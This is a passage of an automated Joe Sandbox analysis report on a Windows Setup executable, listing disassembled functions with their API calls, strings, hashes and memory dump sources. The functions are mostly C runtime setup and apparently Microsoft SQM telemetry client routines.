                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                    • String ID:
                    • API String ID: 2579439406-0
                    • Opcode ID: 2f7cf2f96c3ca682a385803643ab13e7a101e76641b6e46ddd651c5e28913995
                    • Instruction ID: 1dff3dbf899234698d70d61b82e77be881845cd92a21f620211e620071547077
                    • Opcode Fuzzy Hash: 2f7cf2f96c3ca682a385803643ab13e7a101e76641b6e46ddd651c5e28913995
                    • Instruction Fuzzy Hash: C221E2B483C2249FCB40EF19EB896953BB5BB08335F50061AE60A873B1D7755886EF14
                    Function 6E0C171F Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E0DA4E6
                    • UnhandledExceptionFilter.KERNEL32(6E0DA50C), ref: 6E0DA4F1
                    • GetCurrentProcess.KERNEL32(C0000409), ref: 6E0DA4FC
                    • TerminateProcess.KERNEL32(00000000), ref: 6E0DA503
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
                    • String ID:
                    • API String ID: 3231755760-0
                    • Opcode ID: e790d2e42d112605770c3d4410a0e359d317cd100275aceedfbde1c3e84bb9e0
                    • Instruction ID: bca752b6beb35764f1e02df9e22fbbcd9d8fa7db6c3d2a01a7137e0041cf9116
                    • Opcode Fuzzy Hash: e790d2e42d112605770c3d4410a0e359d317cd100275aceedfbde1c3e84bb9e0
                    • Instruction Fuzzy Hash: B821ACB490AB05DFDB81DF99C189648BBF4FB6AB00F60416EE9088B350FB709985CF05
                    Function 009B3C03 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,009B2AAE), ref: 009B3C0B
                    • __mtterm.LIBCMT ref: 009B3C17
                      • Part of subcall function 009B3937: _DecodePointerInternal@4.SETUP(00000006,009B3D79,?,009B2AAE), ref: 009B3948
                      • Part of subcall function 009B3937: TlsFree.KERNEL32(0000001D,009B3D79,?,009B2AAE), ref: 009B3962
                      • Part of subcall function 009B3937: DeleteCriticalSection.KERNEL32(00000000,00000000,009B2976,?,009B3D79,?,009B2AAE), ref: 009B420F
                      • Part of subcall function 009B3937: _free.LIBCMT ref: 009B4212
                      • Part of subcall function 009B3937: DeleteCriticalSection.KERNEL32(0000001D,009B2976,?,009B3D79,?,009B2AAE), ref: 009B4239
                    • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 009B3C2D
                    • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 009B3C3A
                    • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 009B3C47
                    • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 009B3C54
                    • TlsAlloc.KERNEL32(?,009B2AAE), ref: 009B3CA4
                    • TlsSetValue.KERNEL32(00000000,?,009B2AAE), ref: 009B3CBF
                    • __init_pointers.LIBCMT ref: 009B3CC9
                    • _EncodePointerInternal@4.SETUP(?,009B2AAE), ref: 009B3CDA
                    • _EncodePointerInternal@4.SETUP(?,009B2AAE), ref: 009B3CE7
                    • _EncodePointerInternal@4.SETUP(?,009B2AAE), ref: 009B3CF4
                    • _EncodePointerInternal@4.SETUP(?,009B2AAE), ref: 009B3D01
                    • _DecodePointerInternal@4.SETUP(009B3ACF,?,009B2AAE), ref: 009B3D22
                    • __calloc_crt.LIBCMT ref: 009B3D37
                    • _DecodePointerInternal@4.SETUP(00000000,?,009B2AAE), ref: 009B3D51
                    • GetCurrentThreadId.KERNEL32 ref: 009B3D63
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: Internal@4Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
                    • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                    • API String ID: 1131704290-3819984048
                    • Opcode ID: fae7f1316ba36c28e7b66f6da582565cfe7db9fe327bfeb51c03d529fc6bedf7
                    • Instruction ID: 4134e3e625ddf315a6f8b80cf60f1bd904c7172ec95c7fbfa9f82d536421f988
                    • Opcode Fuzzy Hash: fae7f1316ba36c28e7b66f6da582565cfe7db9fe327bfeb51c03d529fc6bedf7
                    • Instruction Fuzzy Hash: 9631AA318783109ECB11AF78AF0E79A3FE8EB85770B14471AE609922F0DB308540EF40
                    Function 6E0D66A1 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 174fileCOMMON
                    Download Yara Rule
                    APIs
                    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,80000080,00000000), ref: 6E0D672A
                    • GetLastError.KERNEL32 ref: 6E0D6738
                      • Part of subcall function 6E0D5F11: EtwTraceMessage.NTDLL ref: 6E0D5F26
                    • CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,00000078,00000000), ref: 6E0D677E
                    • GetLastError.KERNEL32 ref: 6E0D678B
                      • Part of subcall function 6E0D99F8: EtwTraceMessage.NTDLL ref: 6E0D9A13
                    • MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000078), ref: 6E0D67CC
                    • GetLastError.KERNEL32 ref: 6E0D67D8
                    • UnmapViewOfFile.KERNEL32(00000000), ref: 6E0D68A7
                    • CloseHandle.KERNEL32(?), ref: 6E0D68BB
                    • CloseHandle.KERNEL32(?), ref: 6E0D68C0
                    • SetLastError.KERNEL32(00000000), ref: 6E0D68C4
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorFileLast$CloseCreateHandleMessageTraceView$MappingUnmap
                    • String ID: MSQM
                    • API String ID: 3767376415-2366479917
                    • Opcode ID: 9197a2968a27c18eb96df11d7f1f4f13f416361a2fc5e693c546cf598bf3a16b
                    • Instruction ID: de2ec3e193a3a729d064f7ded8825411041a662637e3fbd19ad759a6b6f04215
                    • Opcode Fuzzy Hash: 9197a2968a27c18eb96df11d7f1f4f13f416361a2fc5e693c546cf598bf3a16b
                    • Instruction Fuzzy Hash: C451ED34464304AFDB90DEE5DC98FAE7BBABB05794F054665F815EB1A0D770C8AC8B20
                    Function 6E0CD937 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 394COMMON
                    Download Yara Rule
                    APIs
                    • GetTickCount.KERNEL32 ref: 6E0CDA74
                    • GetTickCount.KERNEL32 ref: 6E0CDA8F
                    • GlobalFree.KERNEL32(?), ref: 6E0CDB44
                    • ImpersonateLoggedOnUser.ADVAPI32(?,0000004C,6E0CC228,?,?,00000001,?,?,00000000,?,?,?,00000000), ref: 6E0D2A06
                    • GetLastError.KERNEL32(?,?,?,00000000), ref: 6E0D2A10
                    • RevertToSelf.ADVAPI32(?,?,?,00000000), ref: 6E0D2CBB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CountTick$ErrorFreeGlobalImpersonateLastLoggedRevertSelfUser
                    • String ID: http%s://%s/%s
                    • API String ID: 1105026337-335662767
                    • Opcode ID: 3b39db162a6430d7460f0bf4278b258057335aee232a09ab9342eab6c753f69d
                    • Instruction ID: 52b0384e12cb78864df02ed2dc00df2577bda9afc91a04ec229ce76508a6da83
                    • Opcode Fuzzy Hash: 3b39db162a6430d7460f0bf4278b258057335aee232a09ab9342eab6c753f69d
                    • Instruction Fuzzy Hash: 7DE17A7094430ADFCB95CFD5C894BAEBBB5BB45B84F008429F910AB160D7B0C989CF62
                    Function 6E0CC069 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 368COMMON
                    Download Yara Rule
                    APIs
                    • ResetEvent.KERNEL32(?,0000003C), ref: 6E0CC165
                    • ResetEvent.KERNEL32(?), ref: 6E0CC16E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: EventReset
                    • String ID: MSDW
                    • API String ID: 2632953641-1205502275
                    • Opcode ID: 1185d4b96ceb979b2278b46b14a2305b114f33d27623c897800dea2ef654e57d
                    • Instruction ID: ed27af91e9cb31f13b6a463b926365492f488559a5f78bd4358b263f2c26274f
                    • Opcode Fuzzy Hash: 1185d4b96ceb979b2278b46b14a2305b114f33d27623c897800dea2ef654e57d
                    • Instruction Fuzzy Hash: D6D1C170684705AFDB85CFE5C8D8FAD3BE9BB19B48F504428F616DA190D775C888CB22
                    Function 6E0CBB55 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 111COMMON
                    Download Yara Rule
                    APIs
                    • EnterCriticalSection.KERNEL32(00000030,?,00000000), ref: 6E0CBB79
                    • GetCurrentProcess.KERNEL32(?,00100000,00000000,00000000,?,00000000), ref: 6E0CBB9A
                    • GetCurrentProcess.KERNEL32(?,00000000,?,00000000), ref: 6E0CBBA0
                    • DuplicateHandle.KERNEL32(00000000,?,00000000), ref: 6E0CBBA3
                    • LeaveCriticalSection.KERNEL32(00000030,?,00000000), ref: 6E0CBBBC
                    • GetLastError.KERNEL32(?,00000000), ref: 6E0D00A1
                    • SetEvent.KERNEL32(?,Upload Completion,00000001,?,00000000,?,?,00000000), ref: 6E0D0100
                    • CloseHandle.KERNEL32(?,00000000), ref: 6E0D012A
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CriticalCurrentHandleProcessSection$CloseDuplicateEnterErrorEventLastLeave
                    • String ID: Upload Completion$Upload Thread Exit
                    • API String ID: 3688531783-3056875662
                    • Opcode ID: b4671d0a8928152217884144c0721457550e65bd22133809c5aa751a540f1754
                    • Instruction ID: 8cd412f0628d8e3853a07679513a7d11ce91fdef709f3ccb5bd338b1758c0b5f
                    • Opcode Fuzzy Hash: b4671d0a8928152217884144c0721457550e65bd22133809c5aa751a540f1754
                    • Instruction Fuzzy Hash: 94419A35804309FFDB509FE5CC84F9EBBBABB01744F1048A9E514A6190E3B59988CF11
                    Function 6E0C56B0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157fileCOMMON
                    Download Yara Rule
                    APIs
                    • GetTempFileNameW.KERNEL32(00000000,WER,00000000,?,00000000,00000000,?), ref: 6E0C5756
                    • DeleteFileW.KERNEL32(?), ref: 6E0C5774
                    • CreateFileW.KERNEL32(?,C0000000,?,00000104,00000002,?,00000000), ref: 6E0C57B6
                    • GetLongPathNameW.KERNEL32(?,?,00000000), ref: 6E0C57D7
                    • CloseHandle.KERNEL32(00000000), ref: 6E0C57F9
                      • Part of subcall function 6E0C583D: GetTempPathW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6E0C5875
                      • Part of subcall function 6E0C583D: GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 6E0C58A7
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: FileNamePath$LongTemp$CloseCreateDeleteHandle
                    • String ID: 2$WER
                    • API String ID: 1638618745-1393268543
                    • Opcode ID: cc2e68e84229cd13ed5db18b489b5765acf983e6846610d5395d6454ad516218
                    • Instruction ID: 5e16b8a3e51983b8cf72f9c0e62363245ffe98b1bb479df1c057b2e60f6c6f2a
                    • Opcode Fuzzy Hash: cc2e68e84229cd13ed5db18b489b5765acf983e6846610d5395d6454ad516218
                    • Instruction Fuzzy Hash: 2351ADB89002099FDB508FA4DC84BDD77F8AB09754F1042A9EA28E71A0D734CAC98F65
                    Function 6E0D6327 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 122COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0D634C
                    • GetLastError.KERNEL32 ref: 6E0D63D4
                    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6E0D63FA
                    • GetLastError.KERNEL32(D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6E0D6406
                      • Part of subcall function 6E0D5F11: EtwTraceMessage.NTDLL ref: 6E0D5F26
                      • Part of subcall function 6E0D7DFE: RegCloseKey.ADVAPI32(00000001,?,?,?,6E0D6448,80000002,Software\Microsoft\SQMClient,0000000C,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6E0D7F28
                    • LocalFree.KERNEL32(00000000,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6E0D6486
                    • SetLastError.KERNEL32(0000054F,MachineId,?,D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD),00000001,?,00000000), ref: 6E0D648F
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$DescriptorSecurity$CloseConvertFreeLocalMessageStringTracememset
                    • String ID: D:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GR;;;WD)$MachineId$Software\Microsoft\SQMClient$W
                    • API String ID: 2649899325-766622882
                    • Opcode ID: c96fdc0f4a92efed90cebe7ae048b03a3d7af3028e120c054cba867f31152dfa
                    • Instruction ID: 8500cb8c477cbc5bad3b5ecb337e2d0fd63a3c398abd4debc1019f46bd19f813
                    • Opcode Fuzzy Hash: c96fdc0f4a92efed90cebe7ae048b03a3d7af3028e120c054cba867f31152dfa
                    • Instruction Fuzzy Hash: 4B416871914348AFDB81DFD8D884BAEBBF9EB05748F104029E909EF251E771898C8B51
                    Function 6E0C4611 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 215COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C46A1
                    • InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000FA0), ref: 6E0C46B4
                    • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6E0C46CD
                    • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6E0C46DF
                      • Part of subcall function 6E0C3E29: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6E0C3E94
                      • Part of subcall function 6E0C3E29: RegQueryValueExW.KERNEL32(00000000,00000002,00000000,?,?,00000004), ref: 6E0C3EB0
                      • Part of subcall function 6E0C3E29: RegCloseKey.ADVAPI32(00000000), ref: 6E0C3ECE
                    • GetLastError.KERNEL32 ref: 6E0D0A56
                    • GetLastError.KERNEL32 ref: 6E0D0A93
                    • GetLastError.KERNEL32 ref: 6E0D0ABD
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$CreateEvent$CloseCountCriticalInitializeOpenQuerySectionSpinValuememset
                    • String ID: SamplingInterval$Software\Microsoft\SQMClient
                    • API String ID: 171072326-987520630
                    • Opcode ID: d87572f70ef040fa78e291b783cdd58f121c1e147ca8dcf6e3d0b2152c77a70f
                    • Instruction ID: 06333767d4d98062c84211925d7f138d72ae7d962ea5aaf3855d7b43a8828a97
                    • Opcode Fuzzy Hash: d87572f70ef040fa78e291b783cdd58f121c1e147ca8dcf6e3d0b2152c77a70f
                    • Instruction Fuzzy Hash: 8181AB70504701AFD764CF9AC884BAABBF9BF45B44F00495EE259CB6A0E7B0D989CB11
                    Function 6E0C1A6B Relevance: 15.1, APIs: 10, Instructions: 133sleepCOMMON
                    Download Yara Rule
                    APIs
                    • InterlockedCompareExchange.KERNEL32(6E0E0164,?,00000000), ref: 6E0C1AB1
                    • _initterm.MSVCRT ref: 6E0C1AF8
                    • InterlockedExchange.KERNEL32(6E0E0164,00000000), ref: 6E0C1B0E
                    • InterlockedCompareExchange.KERNEL32(6E0E0164,00000001,00000000), ref: 6E0C1D46
                    • free.MSVCRT ref: 6E0C1D7A
                    • InterlockedExchange.KERNEL32(6E0E0164,00000000), ref: 6E0C1D9C
                    • Sleep.KERNEL32(000003E8,?,00000000,?,?,6E0C1DDB,?,00000001,?,?,?,?,6E0C1C70,0000002C), ref: 6E0D451B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ExchangeInterlocked$Compare$Sleep_inittermfree
                    • String ID:
                    • API String ID: 546057305-0
                    • Opcode ID: 371f8f41e72ae79da862ef1c7e36879674db434fb2cb3d32ed1479ec5fd1da30
                    • Instruction ID: b158aa53d7a19c66fbbb1deaac89c88e485e4700cf76919fdc298f45f9714ee2
                    • Opcode Fuzzy Hash: 371f8f41e72ae79da862ef1c7e36879674db434fb2cb3d32ed1479ec5fd1da30
                    • Instruction Fuzzy Hash: BD418D71258701EFEB509BE5C844B6D33BAFB46F99F104129EA158B185EB7089498F22
                    Function 6E0CBA44 Relevance: 13.6, APIs: 9, Instructions: 144COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6E0CBAE2: InitializeCriticalSectionAndSpinCount.KERNEL32(?,80000040,00000000,00000000,6E0CBA57,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0CBAFB
                    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0CBA86
                    • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0CBA9D
                    • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0CBAB4
                    • GetLastError.KERNEL32(?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0D2739
                    • GetLastError.KERNEL32(?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0D276E
                    • CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0D27F4
                    • CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0D2801
                    • CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6E0C8733,?,0000000C,6E0CBCB8,6E0C0000), ref: 6E0D2812
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseCreateEventHandle$ErrorLast$CountCriticalInitializeSectionSpin
                    • String ID:
                    • API String ID: 2704725777-0
                    • Opcode ID: c343653c3cf8648fd4b66e68b11430fa4149338fbecbb077edf4851ab1eb5add
                    • Instruction ID: 475a343a1d320d036ef358decb10c8cd5da072c8ffda7855680bc05d43242e42
                    • Opcode Fuzzy Hash: c343653c3cf8648fd4b66e68b11430fa4149338fbecbb077edf4851ab1eb5add
                    • Instruction Fuzzy Hash: D5519770940305AFCBA0DFE5C998B6EBAF9BF00B94F105829E146D7954D770DA88CF62
                    Function 6E0C5E53 Relevance: 12.6, APIs: 10, Instructions: 124COMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: memset
                    • String ID:
                    • API String ID: 2221118986-0
                    • Opcode ID: 7e0159214f05f092813d7215edd18f8e7927451cd52de21e904934e0ab6ae338
                    • Instruction ID: 193cb0f1c3c7a2c2de6aa29271c801043f565b11eaa91e5195a0f634012d1570
                    • Opcode Fuzzy Hash: 7e0159214f05f092813d7215edd18f8e7927451cd52de21e904934e0ab6ae338
                    • Instruction Fuzzy Hash: 7D411AB1541B009FD370CF6AC884B87FBF8FB98704F80892EA2AA97650DB71B545CB51
                    Function 6E0D7AAB Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.ADVAPI32(00000000,?,00000000,000F003F,?,Software\Microsoft\SQMClient\Windows,80000002,CabSessionAfterSize), ref: 6E0D7AE6
                    • RegEnumValueW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 6E0D7C4C
                    • RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E0D7B3D
                      • Part of subcall function 6E0D77B8: EtwTraceMessage.NTDLL ref: 6E0D781A
                      • Part of subcall function 6E0C1967: malloc.MSVCRT(?,6E0E0554), ref: 6E0C1979
                    • RegDeleteValueW.ADVAPI32(00000057,00000000,00000001,00000000,00000026,6E0D5AB8), ref: 6E0D7D12
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Value$DeleteEnumInfoMessageOpenQueryTracemalloc
                    • String ID: CabSessionAfterSize$Software\Microsoft\SQMClient\Windows$W
                    • API String ID: 3944082161-4242814227
                    • Opcode ID: cb7dab8bb78ca1da5487e7d1ff5d9db341725e66ec4f8f0c5098cba14b30c91d
                    • Instruction ID: 0a53354fca2367acfc940a2d1362352b8e781a572bdfa2ddfb9a3163fa696676
                    • Opcode Fuzzy Hash: cb7dab8bb78ca1da5487e7d1ff5d9db341725e66ec4f8f0c5098cba14b30c91d
                    • Instruction Fuzzy Hash: 45818A70504309AFDB958FD9C894FAEBBB6FF05394F148469E914AB2A1D771C948CB10
                    Function 6E0CE442 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 186timeCOMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0CE49A
                      • Part of subcall function 6E0C18E5: _vsnwprintf.MSVCRT ref: 6E0C1913
                    • GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6E0C7AF4), ref: 6E0D05DD
                    • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6E0C7AF4), ref: 6E0D05F1
                      • Part of subcall function 6E0CE552: RegOpenKeyExW.ADVAPI32(?,80000001,00000000,-00020005,?,00000000,?,?,?,?,6E0CE526,80000001,?,?), ref: 6E0CE5A8
                    Strings
                    • Software\Microsoft\SQMClient\Windows\DisabledSessions, xrefs: 6E0D0668
                    • %s\%s\%s, xrefs: 6E0CE4C5
                    • Sampling, xrefs: 6E0CE4BA
                    • Software\Microsoft\SQMClient, xrefs: 6E0CE4C0
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
